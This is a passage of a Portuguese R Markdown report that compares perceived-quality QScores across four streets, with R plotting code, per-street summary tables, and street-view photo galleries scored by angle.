## \multicolumn{2}{l}{\scriptsize{$^{***}p<0.001$, $^{**}p<0.01$, $^*p<0.05$, $^{\cdot}p<0.1$}}
## \end{tabular}
## \caption{Statistical models}
## \label{table:coefficients}
## \end{center}
## \end{table}</code></pre>
<pre class="r"><code>#Analysing regression!
plotRegAndLinear(reg, merged)</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-3-1.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-3-2.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-3-3.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-3-4.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-3-5.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-3-6.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-3-7.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-3-8.png" width="672" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-3-9.png" width="672" /></p>
</div>
<div id="analise-das-ruas" class="section level2">
<h2>Análise das Ruas</h2>
<ol style="list-style-type: decimal">
<li>Na média as ruas são parecidas ou não? Tem alguma rua que parece muito boa ou muito ruim?</li>
</ol>
<pre class="r"><code>#Getting data for each street
data <- read.csv("qscores-df.csv", header = TRUE)
edesio_scores = filter(data, street == "R._Edésio_Silva")$qscore
edesio_sd = sd(edesio_scores)
inacio_scores = filter(data, street == "R._Inácio_Marquês_da_Silva")$qscore
inacio_sd = sd(inacio_scores)
manoel_scores = filter(data, street == "R._Manoel_Pereira_de_Araújo")$qscore
manoel_sd = sd(manoel_scores)
maciel_scores = filter(data, street == "R._Maciel_Pinheiro")$qscore
maciel_sd = sd(maciel_scores)
new_frame = data.frame(mean_scores = c(mean(maciel_scores), mean(manoel_scores), mean(edesio_scores), mean(inacio_scores)), street = c("Maciel", "Manoel", "Edesio", "Inacio"), ci = c(maciel_sd * 1.96 / length(maciel_scores), manoel_sd * 1.96 / length(manoel_scores), edesio_sd * 1.96 / length(edesio_scores), inacio_sd * 1.96 / length(inacio_scores)))
ggplot(new_frame, aes(x=street, y=mean_scores, fill=street)) +
geom_bar(position=position_dodge(), stat="identity") +
geom_errorbar(aes(ymin=mean_scores-ci, ymax=mean_scores+ci),
width=.2, # Width of the error bars
position=position_dodge(.9))</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-4-1.png" width="672" /></p>
<ul>
<li>Os ICs com 95% de confiança das 20 fotos foi razoavelmente curto, permitindo uma comparação das médias;</li>
<li>A Manoel P. de Araújo realmente está bem abaixo das demais ruas;</li>
<li>As outras três ruas possuem intervalos próximos, que podem ser confundíveis, apesar da Inácio Marques e a <NAME> parecerem ter uma tendência de melhores scores que a Edesio;</li>
</ul>
<ol start="2" style="list-style-type: decimal">
<li>Será que ruas que são parecidas na média, são de fato similares?</li>
<li>Olhando a dispersão da rua como um todo, posso tentar dizer algo sobre a rua?</li>
</ol>
<p>Três das ruas selecionadas parecem bem similares de acordo com a média, mas será que são similares assim? Para isso computamos os violin plots de cada rua.</p>
<pre class="r"><code>value <- data$qscore
with(data , vioplot( value[street=="R._Inácio_Marquês_da_Silva"] , value[street=="R._Edésio_Silva"], value[street=="R._Manoel_Pereira_de_Araújo"], value[street=="R._Maciel_Pinheiro"], col=rgb(0.1,0.4,0.7,0.7) , names=c("Inacio","Edesio","Manoel", "Maciel") ))</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-5-1.png" width="672" /></p>
<p>A partir da análise dos violin plots, alguns pontos podem ser destacados:</p>
<ul>
<li>A <NAME> foi realmente a rua com as notas em gerais mais baixas o que pode ser um indicativo de problema na rua. Analisando com mais cuidado as imagens da rua na próxima Seção, pode-se perceber que esses valores baixos eram esperados, já que se trata de uma área antiga e pouco cuidada do centro da cidade (bem degradada!);</li>
<li>A Inacio Marques e a Edesio silva tiveram valores mais espalhados com uma maior concentração em algumas regiões, o que era esperado dado variações nos tipos de locais nessas ruas (mais ou menos verde, mais ou menos conservados). A Edesio tem uma maior concentração de valores medianos, e medianos para bom e para ruim, já a Inácio tem uma maior concentração de valores para medianos bons e ruins;</li>
<li>A <NAME> tem uma maior concentração de valores com notas parecidas, o que era esperado dado a maior semelhança de locais ao longo de toda a rua. Isso a torna mais homogênea que a Inacio e a Edesio, porém mais heterogênea que a Manoel P. <NAME>;</li>
<li>A Inacio, Edesio e Maciel possuem QScores que variam em 2 ou mais pontos. Essa grande variação merece ser analisada com mais cuidado já que pode ser um indicativo de problemas em certos locais das ruas!</li>
</ul>
<p>Para complemento numérico dos violin plots, o sumário de cada rua na seguinte ordem: Inacio, Edesio, Maciel e Manoel.</p>
<pre class="r"><code>summary(filter(data, street == "R._Inácio_Marquês_da_Silva")$qscore)</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.993 4.612 5.321 5.168 5.743 5.976</code></pre>
<pre class="r"><code>summary(filter(data, street == "R._Edésio_Silva")$qscore)</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 4.052 4.511 4.828 4.994 5.471 6.330</code></pre>
<pre class="r"><code>summary(filter(data, street == "R._Maciel_Pinheiro")$qscore)</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 4.571 4.797 5.317 5.188 5.504 5.779</code></pre>
<pre class="r"><code>summary(filter(data, street == "R._Manoel_Pereira_de_Araújo")$qscore)</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 2.822 3.447 3.642 3.660 3.967 4.455</code></pre>
</div>
</div>
<div id="analisando-em-detalhe-cada-rua" class="section level1">
<h1>Analisando em detalhe cada rua</h1>
<p>Para entender um pouco melhor cada rua, tentamos analisar os QScores obtidos ao longo da rua e confrontá-los com as imagens para tentar responder as duas questões:</p>
<ol start="4" style="list-style-type: decimal">
<li>Olhando as variações dos QScores por número/ponto na rua, consigo perceber variações que podem indicar problemas?</li>
<li>Confrontando as variações no QScores com as fotos, podemos apontar problemas/virtudes das ruas?</li>
</ol>
<div id="inacio-marques" class="section level2">
<h2>Inacio Marques</h2>
<pre class="r"><code>summary_inacio = filter(data, street == "R._Inácio_Marquês_da_Silva") %>% group_by(num) %>% summarise(media_ponto = mean(qscore), sd = sd(qscore))
summary_inacio$upper <- summary_inacio$media_ponto + summary_inacio$sd * 1.96 / 4
summary_inacio$lower <- summary_inacio$media_ponto - summary_inacio$sd * 1.96 / 4
summary_edesio = filter(data, street == "R._Edésio_Silva") %>% group_by(num) %>% summarise(media_ponto = mean(qscore), sd = sd(qscore))
summary_edesio$upper <- summary_edesio$media_ponto + summary_edesio$sd * 1.96 / 4
summary_edesio$lower <- summary_edesio$media_ponto - summary_edesio$sd * 1.96 / 4
summary_maciel = filter(data, street == "R._Maciel_Pinheiro") %>% group_by(num) %>% summarise(media_ponto = mean(qscore), sd = sd(qscore))
summary_maciel$upper <- summary_maciel$media_ponto + summary_maciel$sd * 1.96 / 4
summary_maciel$lower <- summary_maciel$media_ponto - summary_maciel$sd * 1.96 / 4
summary_manoel = filter(data, street == "R._Manoel_Pereira_de_Araújo") %>% group_by(num) %>% summarise(media_ponto = mean(qscore), sd = sd(qscore))
summary_manoel$upper <- summary_manoel$media_ponto + summary_manoel$sd * 1.96 / 4
summary_manoel$lower <- summary_manoel$media_ponto - summary_manoel$sd * 1.96 / 4</code></pre>
<pre class="r"><code>summary_inacio</code></pre>
<pre><code>## # A tibble: 5 × 5
## num media_ponto sd upper lower
## <int> <dbl> <dbl> <dbl> <dbl>
## 1 54 4.859895 0.6217355 5.164546 4.555245
## 2 120 5.343863 0.8844015 5.777219 4.910506
## 3 239 5.748480 0.1498933 5.821928 5.675032
## 4 360 5.424304 0.4190942 5.629660 5.218948
## 5 500 4.462328 0.3137360 4.616059 4.308597</code></pre>
<p>Para a Inacio Marques percebemos uma <strong>variação de aproximadamente 1.3</strong> nas médias do QScore do número 500 (região de muros logo após o museu) e do número 239 (regiao residencial no quarteirão seguinte ao museu). Esta diferença parece um indicativo de variação entre tipos, ou qualidades, de locais na rua e que a faixa do número 100-300 tem melhores avaliações, enquanto o início (54) e o final da rua (500) parecem ser regiões mais problemáticas.</p>
<p>Analisando os scores de cada ângulo em cada ponto da rua, pode-se observar <strong>que as maiores diferenças variam de 0.29 a 1.88 entre ângulos do mesmo número</strong>. Essas diferenças podem ser indicativos de variações de manutenção/qualidade de locais muito próximos. Por exemplo:</p>
<ul>
<li>no número 54, as variações para os ângulos 203 e 293</li>
<li>no número 120 a baixa nota do ângulo 203</li>
<li>no número 239 existe uma homogeneidade, de forma positiva</li>
<li>no número 360 as variações para os números 90 e 203</li>
<li>no número 500 temos o ângulo 203 com uma nota mais baixa</li>
</ul>
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_22.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 54, 22 -> 5.573482
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_112.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 54, 112 -> 5.188053
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_203.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 54, 203 -> 4.330173
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_293.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 54, 293 -> 4.347873
</div>
</div>
</div>
####### Sumário do Número 54 : Max. 5.573482 Min: 4.330173 Diff: 1.243308
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_22.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 120, 22 -> 5.952147
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_112.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 120, 112 -> 5.358777
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_203.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 120, 203 -> 4.088315
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_293.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 120, 293 -> 5.976212
</div>
</div>
</div>
####### Sumário do Número 120 : Max. 5.976212 Min: 4.088315 Diff: 1.887897
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_22.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 239, 22 -> 5.594697
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_90.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 239, 90 -> 5.887497
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_203.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 239, 203 -> 5.64559
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_239_270.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 239, 270 -> 5.866135
</div>
</div>
</div>
####### Sumário do Número 239 : Max. 5.887497 Min: 5.594697 Diff: 0.2928
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_22.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 360, 22 -> 5.725848
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_90.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 360, 90 -> 4.895529
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_203.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 360, 203 -> 5.28241
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_270.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 360, 270 -> 5.793429
</div>
</div>
</div>
####### Sumário do Número 360 : Max. 5.793429 Min: 4.895529 Diff: 0.8979007
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_22.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 500, 22 -> 4.595182
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_90.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 500, 90 -> 4.644123
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_203.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 500, 203 -> 3.992682
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_270.jpg' width='300px'>
<div class="caption">
R._Inácio_Marquês_da_Silva 500, 270 -> 4.617325
</div>
</div>
</div>
####### Sumário do Número 500 : Max. 4.644123 Min: 3.992682 Diff: 0.6514411
<div class='row'>
<p>Com esse nível de detalhe conseguimos confrontar os scores com as imagens e perceber que:</p>
<ul>
<li>a Inácio Marques é uma rua que possui seu final como sendo uma área pouco cuidada (número 500), com muros/construções pouco cuidadas, terrenos, sem atrativo;</li>
<li>o início da rua (segunda área de score mais baixo) tem alguns trechos de casas mais simples e/ou pouco cuidadas, lixo, vegetação pouco cuidada e vegetação bem cuidada em um angulo apenas;</li>
<li>outras áreas com níveis de cuidado variados, onde poderíamos apontar setores nos números 120 e 360, principalmente, que poderiam receber melhores cuidados.</li>
<li>No número 360, angulos 90 e 203, temos terrenos que precisam de maiores cuidados, contrapostos a uma bela visão proporcionada pela presença do museu e sua vegetação melhor cuidada.</li>
<li>No número 120, ângulos 203 temos lixo e melhoria necessária nas construções, e no ângulo 112 temos mais uma indicação de melhoria em construção/construção inacabada contraposta com outras construções bem cuidadas e com verde;</li>
<li>a região do número 239 sintetiza boas avaliações e vai de acordo com nossa avaliação anterior: boa manutenção, verde, rua larga</li>
</ul>
<p>Analisando de forma geral as fotos percebemos que, conforme esperado, os locais com menor conservação e menos verde apresentam QScores mais baixos, indicando que ações de melhoria/cuidado poderiam ser direcionados para essas áreas.</p>
</div>
<div id="edesio-silva" class="section level2">
<h2><NAME></h2>
<pre class="r"><code>summary_edesio</code></pre>
<pre><code>## # A tibble: 5 × 5
## num media_ponto sd upper lower
## <int> <dbl> <dbl> <dbl> <dbl>
## 1 70 4.830691 0.5785258 5.114169 4.547214
## 2 306 5.020069 0.2858713 5.160145 4.879992
## 3 602 5.069827 0.8395084 5.481186 4.658468
## 4 1136 4.426536 0.1760434 4.512797 4.340275
## 5 1546 5.621197 0.4955774 5.864030 5.378364</code></pre>
<p>Para a Edesio percebemos <strong>uma variação de aproximadamente 1.2</strong> nas médias do QScore do número 1136 (terreno, pouco cuidada) e do número 1546 (casas mais novas, bem cuidadas). Esta diferença parece um indicativo de variação entre tipos, ou qualidades, de locais na rua. É importante perceber que, ao contrário da Inacio, a Edesio parece ter uma alternância maior entre locais bem e mal avaliados ao longo da rua.</p>
<p>Analisando os scores de cada ângulo em cada ponto da rua, pode-se observar <strong>que as maiores diferenças variam de 0.38 a 1.72 no QScore entre ângulos do mesmo número</strong>. Por exemplo:</p>
<ul>
<li>no número 70, o ângulo 22 com nota distoante dos demais ângulos;</li>
<li>no número 306 a melhor nota do ângulo 203;</li>
<li>no número 602 as melhores notas dos ângulos 22 e 315;</li>
<li>no número 1136 temos uma maior homogeneidade, de forma negativa;</li>
<li>no número 1546 temos uma maior homogeneidade, de forma positiva, com o ângulo 22 apresentando uma nota ainda melhor.</li>
</ul>
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_22.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 70, 22 -> 5.668263
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_135.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 70, 135 -> 4.399149
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_203.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 70, 203 -> 4.757853
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_315.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 70, 315 -> 4.4975
</div>
</div>
</div>
####### Sumário do Número 70 : Max. 5.668263 Min: 4.399149 Diff: 1.269114
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_22.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 306, 22 -> 4.823495
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_135.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 306, 135 -> 4.832702
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_203.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 306, 203 -> 5.433076
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_315.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 306, 315 -> 4.991001
</div>
</div>
</div>
####### Sumário do Número 306 : Max. 5.433076 Min: 4.823495 Diff: 0.6095806
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_22.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 602, 22 -> 5.780801
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_135.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 602, 135 -> 4.709946
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_203.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 602, 203 -> 4.05235
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_315.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 602, 315 -> 5.736209
</div>
</div>
</div>
####### Sumário do Número 602 : Max. 5.780801 Min: 4.05235 Diff: 1.728451
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_22.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 1136, 22 -> 4.234378
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_135.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 1136, 135 -> 4.515818
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_203.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 1136, 203 -> 4.33171
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_315.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 1136, 315 -> 4.624237
</div>
</div>
</div>
####### Sumário do Número 1136 : Max. 4.624237 Min: 4.234378 Diff: 0.3898596
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_22.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 1546, 22 -> 6.330284
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_135.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 1546, 135 -> 5.583604
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_203.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 1546, 203 -> 5.225778
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1546_315.jpg' width='300px'>
<div class="caption">
R._Edésio_Silva 1546, 315 -> 5.345122
</div>
</div>
</div>
####### Sumário do Número 1546 : Max. 6.330284 Min: 5.225778 Diff: 1.104506
<div class='row'>
<p>Com esse nível de detalhe conseguimos confrontar os scores com as imagens e perceber que:</p>
<ul>
<li>a <NAME> possui uma área muito pouco cuidada (número 1136), com os ângulos 22, 135 e 203 temos problemas de terrenos, lixo e casas pouco cuidadas;</li>
<li>no restante da rua temos variações de melhoras e piores nas notas entre os números e entre os ângulos.</li>
<li>No número 70, ângulo 135 existe uma construção inacabada que afeta a vista da rua, nos angulos 135 e 203 existe lixo na rua, nos angulos 135, 203 e 315 existem algumas casas que precisam de melhor cuidado e falta verde na rua.</li>
<li>No número 602, ângulo 203 temos um terreno com lixos, angulo 135 temos alem de um muro pouco cuidado uma falta de verde (apesar de termos arvores em crescimento!).</li>
<li>No número 306 temos notas medianas que condizem com a combinação de vegetação com casas de boa manutenção e algumas de menor manutenção, ou artefatos de construção.</li>
</ul>
<p>Analisando de forma geral as fotos percebemos que, conforme esperado, os locais com menor conservação e menos verde apresentam QScores mais baixos, indicando que ações de melhoria/cuidado poderiam ser direcionados para essas áreas.</p>
</div>
<div id="maciel-pinheiro" class="section level2">
<h2><NAME></h2>
<pre class="r"><code>summary_maciel</code></pre>
<pre><code>## # A tibble: 5 × 5
## num media_ponto sd upper lower
## <int> <dbl> <dbl> <dbl> <dbl>
## 1 130 5.045463 0.4961559 5.288579 4.802347
## 2 190 5.220178 0.3876094 5.410106 5.030249
## 3 248 5.363731 0.4147626 5.566965 5.160497
## 4 284 5.210966 0.4331181 5.423194 4.998738
## 5 360 5.097203 0.4588440 5.322037 4.872370</code></pre>
<p>Para a Maciel percebemos <strong>uma variação de aproximadamente 0.3</strong> nas médias do QScore do número 248 e dos números 130 e 360. Esta diferença parece um indicativo de variações sutis de preferências dos usuários por fachadas de lojas, quantidade de carros, dentre outros. Outro ponto importante é a presença típica de QScores medianos, ou medianos para alto, e ligeiras melhorias mais no centro da rua.</p>
<p>Analisando os scores de cada ângulo em cada ponto da rua, pode-se observar <strong>que as maiores diferenças por ângulo variam de 0.85 a 1.16 entre angulos do mesmo número</strong>. Esta variação, ao contrário da Edesio e Inacio, sugere que em cada número existe ao menos 1 angulo que desperta um sentimento mais positivo ou negativo. Por exemplo:</p>
<ul>
<li>No número 360, temos uma nota mais baixa para o ângulo 270;</li>
<li>No número 284, temos uma nota mais baixa para o ângulo 90;</li>
<li>No número 248, temos uma nota mais baixa para o ângulo 360;</li>
<li>No número 190, temos uma nota mais baixa para o ângulo 180;</li>
<li>No número 130, temos uma nota mais baixa para o ângulo 270</li>
</ul>
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_90.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 130, 90 -> 4.997858
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_180.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 130, 180 -> 5.739386
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_270.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 130, 270 -> 4.57089
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_360.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 130, 360 -> 4.873718
</div>
</div>
</div>
####### Sumário do Número 130 : Max. 5.739386 Min: 4.57089 Diff: 1.168496
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_90.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 190, 90 -> 5.501463
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_180.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 190, 180 -> 4.646754
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_270.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 190, 270 -> 5.358672
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_190_360.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 190, 360 -> 5.373821
</div>
</div>
</div>
####### Sumário do Número 190 : Max. 5.501463 Min: 4.646754 Diff: 0.8547091
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_90.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 248, 90 -> 5.513371
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_180.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 248, 180 -> 5.778672
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_270.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 248, 270 -> 5.366169
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_248_360.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 248, 360 -> 4.796713
</div>
</div>
</div>
####### Sumário do Número 248 : Max. 5.778672 Min: 4.796713 Diff: 0.9819594
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_90.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 284, 90 -> 4.791741
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_180.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 284, 180 -> 5.672887
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_270.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 284, 270 -> 4.895729
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_284_360.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 284, 360 -> 5.483507
</div>
</div>
</div>
####### Sumário do Número 284 : Max. 5.672887 Min: 4.791741 Diff: 0.8811458
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_90.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 360, 90 -> 4.796331
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_180.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 360, 180 -> 5.27628
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_270.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 360, 270 -> 4.6573
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_360.jpg' width='300px'>
<div class="caption">
R._Maciel_Pinheiro 360, 360 -> 5.658902
</div>
</div>
</div>
####### Sumário do Número 360 : Max. 5.658902 Min: 4.6573 Diff: 1.001602
<div class='row'>
<p>Com esse nível de detalhe conseguimos confrontar os scores com as imagens e perceber que:</p>
<ul>
<li>A maciel é a rua mais homogêna de nosso conjunto, dado a semelhança geral que existe entre os espaços capturados nas fotos;</li>
<li>Apesar dessa homogeneidade, todos os números considerados apresentaram ao menos um ângulo com uma diferença próxima a 1 ponto para a melhor nota do número.</li>
<li>No número 360, ângulo 270 temos uma parte razoável da vista tomada por um caminhão e uma fachada com menor cuidado;</li>
<li>No número 284, ângulo 90 também pode ser um caso de preferências por fachadas;</li>
<li>No número 248, ângulo 360 podemos ter um caso de preferência de estilo de vitrines e prédios;</li>
<li>No número 190, ângulo 180 temos um prédio em pior estado de conservação;</li>
<li>No número 130, ângulo 270 podemos ter um caso de preferência de estilo de vitrines e prédios.</li>
</ul>
<p>De forma geral as fotos percebemos que, conforme esperado, em geral os locais possuem um bom nível de manutenção o que condiz com as notas mais altas de percepção (acima de 5.0, próximo a 6.0). Por outro lado, essas variações maiores de scores em certas cenas sugere uma melhor investigação com os pontos marcados pelos usuários e que pode gerar sugestões de melhorias para as fachadas.</p>
</div>
<div id="manoel-pereira" class="section level2">
<h2><NAME></h2>
<pre class="r"><code>summary_manoel</code></pre>
<pre><code>## # A tibble: 5 × 5
## num media_ponto sd upper lower
## <int> <dbl> <dbl> <dbl> <dbl>
